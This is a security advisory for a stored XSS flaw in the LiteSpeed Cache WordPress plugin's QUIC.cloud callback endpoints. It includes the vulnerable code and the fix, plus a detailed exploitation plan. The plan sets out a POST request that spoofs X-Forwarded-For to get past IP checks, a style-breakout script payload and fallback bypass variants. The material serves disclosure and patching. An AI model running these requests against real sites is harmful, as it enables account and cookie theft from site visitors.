LiteSpeed Cache <= 7.7 - Unauthenticated Stored Cross-Site Scripting via QUIC.cloud CCSS/UCSS REST API Endpoints
Description
The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the /wp-json/litespeed/v1/notify_ccss and /wp-json/litespeed/v1/notify_ucss REST API endpoints in all versions up to, and including, 7.7. These endpoints accept CSS content from QUIC.cloud callback notifications and store it to disk without sanitization. The stored content is later rendered inline frontend page loads without output escaping. The access control protecting these endpoints is IP-based validation that can potentially be bypassed when the WordPress site is deployed behind a reverse proxy, load balancer, or CDN with certain configurations. This makes it possible for unauthenticated attackers, under certain conditions, to inject arbitrary JavaScript into CCSS/UCSS content.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v7.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3375 (LiteSpeed Cache <= 7.7) ## 1. Vulnerability Summary The LiteSpeed Cache plugin (up to version 7.7) contains a Stored Cross-Site Scripting (XSS) vulnerability within its REST API callback endpoints used for Critical CSS (CCSS) and Unique CSS (UCSS) genera…
Show full research plan
Exploitation Research Plan: CVE-2026-3375 (LiteSpeed Cache <= 7.7)
1. Vulnerability Summary
The LiteSpeed Cache plugin (up to version 7.7) contains a Stored Cross-Site Scripting (XSS) vulnerability within its REST API callback endpoints used for Critical CSS (CCSS) and Unique CSS (UCSS) generation. These services (provided by QUIC.cloud) notify the plugin when a CSS generation task is complete. The plugin accepts the generated CSS content via these endpoints and stores it on the filesystem. However, it fails to sanitize this content before storage or escape it during frontend rendering. While the endpoints are protected by an IP-based allowlist, this check can be bypassed in environments where the WordPress site is behind a reverse proxy or CDN that trusts client-provided IP headers (like X-Forwarded-For).
2. Attack Vector Analysis
- Endpoints:
/wp-json/litespeed/v1/notify_ccss/wp-json/litespeed/v1/notify_ucss
- Method:
POST - Authentication: Unauthenticated (relies on IP validation).
- Vulnerable Parameter: The request body (likely JSON) contains the CSS content. Based on QUIC.cloud callback specifications, the parameter is likely
cssor sent as a raw body. - Preconditions:
- The "CCSS" or "UCSS" feature must be enabled in LiteSpeed Cache > Page Optimization.
- The site must be reachable via the REST API.
- The IP validation must be bypassable via headers like
X-Forwarded-For.
3. Code Flow (Inferred from description & autoload.php)
- Entry Point:
src/rest.cls.php(inferred) registers the REST routes during therest_api_inithook. - Route Registration: Two routes are registered:
litespeed/v1/notify_ccssandlitespeed/v1/notify_ucss. - Validation: The callback function calls an internal method (likely in
src/cloud.cls.phporlib/guest.cls.php) to verify if the request originates from a QUIC.cloud IP.- Vulnerability: The IP detection logic (similar to
LiteSpeed\Lib\Guest::get_ip()) may prioritize headers likeHTTP_X_FORWARDED_FOR.
- Vulnerability: The IP detection logic (similar to
- Processing: Once "validated," the callback extracts the CSS payload.
- Storage: The plugin uses
LiteSpeed\File::save()(inferred) to write the CSS content to a file inwp-content/litespeed/ccss/orwp-content/litespeed/ucss/. - Frontend Sink: When a guest visitor loads a page,
src/css.cls.php(inferred) reads the stored file and outputs the content inside a<style>block:
If the content contains<style id="litespeed-ccss">/* UNTRUSTED CONTENT HERE */</style></style><script>alert(1)</script>, the CSS block is closed, and the script executes.
4. Nonce Acquisition Strategy
These specific endpoints are designed for server-to-server callbacks (QUIC.cloud to WordPress) and typically do not require a WordPress REST nonce. They rely entirely on IP-based authentication.
If a nonce were required for /wp-json/litespeed/v1/, the following strategy would be used:
- Shortcode: LiteSpeed Cache often enqueues scripts on the frontend if "Guest Mode" or "CSS Optimization" is active.
- Page Creation:
wp post create --post_type=page --post_status=publish --post_title="LSCache Test" --post_content='[litespeed_clean_wrapper]'(Note: LiteSpeed doesn't use many public shortcodes, but it enqueues scripts on the homepage). - Extraction:
- Use
browser_navigateto the homepage. - Use
browser_evalto find the REST nonce:browser_eval("window.litespeed_data?.nonce")(Variable names inferred from standard LiteSpeed JS localization patterns).
- Use
For this exploit, we will first attempt the request without a nonce.
5. Exploitation Strategy
Step 1: Bypass IP Validation
QUIC.cloud IPs are required to pass the check. Common QUIC.cloud nodes operate in the 162.159.x.x range or similar. We will spoof the IP using the X-Forwarded-For header.
Step 2: Inject Payload
We will send a POST request to the notification endpoint with a payload that breaks out of the <style> context.
Payload: /* normal css */ </style><script>alert(document.domain)</script><style>
Request via http_request:
{
"url": "http://localhost:8080/wp-json/litespeed/v1/notify_ccss",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"X-Forwarded-For": "162.159.25.1" // A known QUIC.cloud IP (inferred)
},
"params": {
"css": "body{color:red}</style><script>alert(document.cookie)</script><style>",
"url": "http://localhost:8080/",
"hash": "dummy_hash" // The plugin may expect a hash check; we will test if this is enforced
}
}
Note: If json params fail, try application/x-www-form-urlencoded.
Step 3: Trigger Execution
Navigate to the homepage. The injected script should execute because LiteSpeed renders CCSS inline for performance.
6. Test Data Setup
- Enable CCSS:
wp option update litespeed-cache-conf '{"optm-css_async":"1", "optm-ccss_con":"1"}' --format=json - Ensure Folders Exist:
mkdir -p /var/www/html/wp-content/litespeed/ccss/ - Verify Settings:
wp litespeed-option get optm-css_async
7. Expected Results
- The
notify_ccssendpoint returns a200 OKor{"status":"success"}response. - A new file appears in
wp-content/litespeed/ccss/containing the XSS payload. - Upon visiting the homepage, the HTML source contains:
<style id="litespeed-ccss">body{color:red}</style><script>alert(document.cookie)</script><style></style>
8. Verification Steps
- Check Filesystem:
find /var/www/html/wp-content/litespeed/ccss/ -type f -exec grep "alert" {} + - Check Frontend Response:
Usehttp_request(GET) on the homepage and grep for the script tag:response.body.includes('<script>alert(document.cookie)</script>')
9. Alternative Approaches
- Header Variation: If
X-Forwarded-Foris ignored, tryX-Real-IP,CF-Connecting-IP, orTrue-Client-IP. - Endpoint Variation: If
notify_ccssis patched or hardened, attempt the same payload vianotify_ucss. - Parameter Fuzzing: If
cssis not the correct parameter name, trycontent,data, or sending the payload as a raw POST body. - Bypass Hash: If the plugin requires a
hashparameter that is a MD5 of the API key, check if the API key (cdn-quic_keyindata/const.default.json) is empty/default, or if the hash check can be skipped by omitting it.
Summary
The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the /wp-json/litespeed/v1/notify_ccss and /wp-json/litespeed/v1/notify_ucss REST API endpoints. Unauthenticated attackers can bypass IP-based access controls using spoofed headers to inject malicious payloads into CSS files that are later rendered inline on the frontend without sanitization.
Vulnerable Code
// Within LiteSpeed Cache <= 7.7, notification callbacks for CCSS/UCSS generation // lacked sanitization for the 'css' parameter before it was stored on the filesystem. // File: src/base.cls.php (Inferred location based on version 7.8 refactoring) // The CSS content was saved directly to the cache folder without filtering HTML tags: $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); $this->cls('File')->save( $file_path, $css );
Security Fix
@@ -1074,6 +1074,8 @@ protected function _save_css_con( $type, $css, $url_tag, $vary, $queue_k, $is_mobile, $is_webp ) { $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); // Font optimize $css = $this->cls('Optimizer')->optm_font_face( $css ); + // Sanitize: CSS must not contain HTML tags + $css = wp_strip_all_tags( $css );
Exploit Outline
The attack involves sending a POST request to the `/wp-json/litespeed/v1/notify_ccss` or `/wp-json/litespeed/v1/notify_ucss` endpoints with an XSS payload (e.g., `</style><script>alert(1)</script>`) in the CSS data. To bypass IP-based validation, the attacker includes an `X-Forwarded-For` header spoofing a trusted QUIC.cloud IP address. If the server environment trusts this header, the plugin saves the payload into a CSS file on disk. The payload is then rendered directly within an inline `<style>` block on the site's frontend, closing the style tag and executing the injected script in the browser of visiting users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.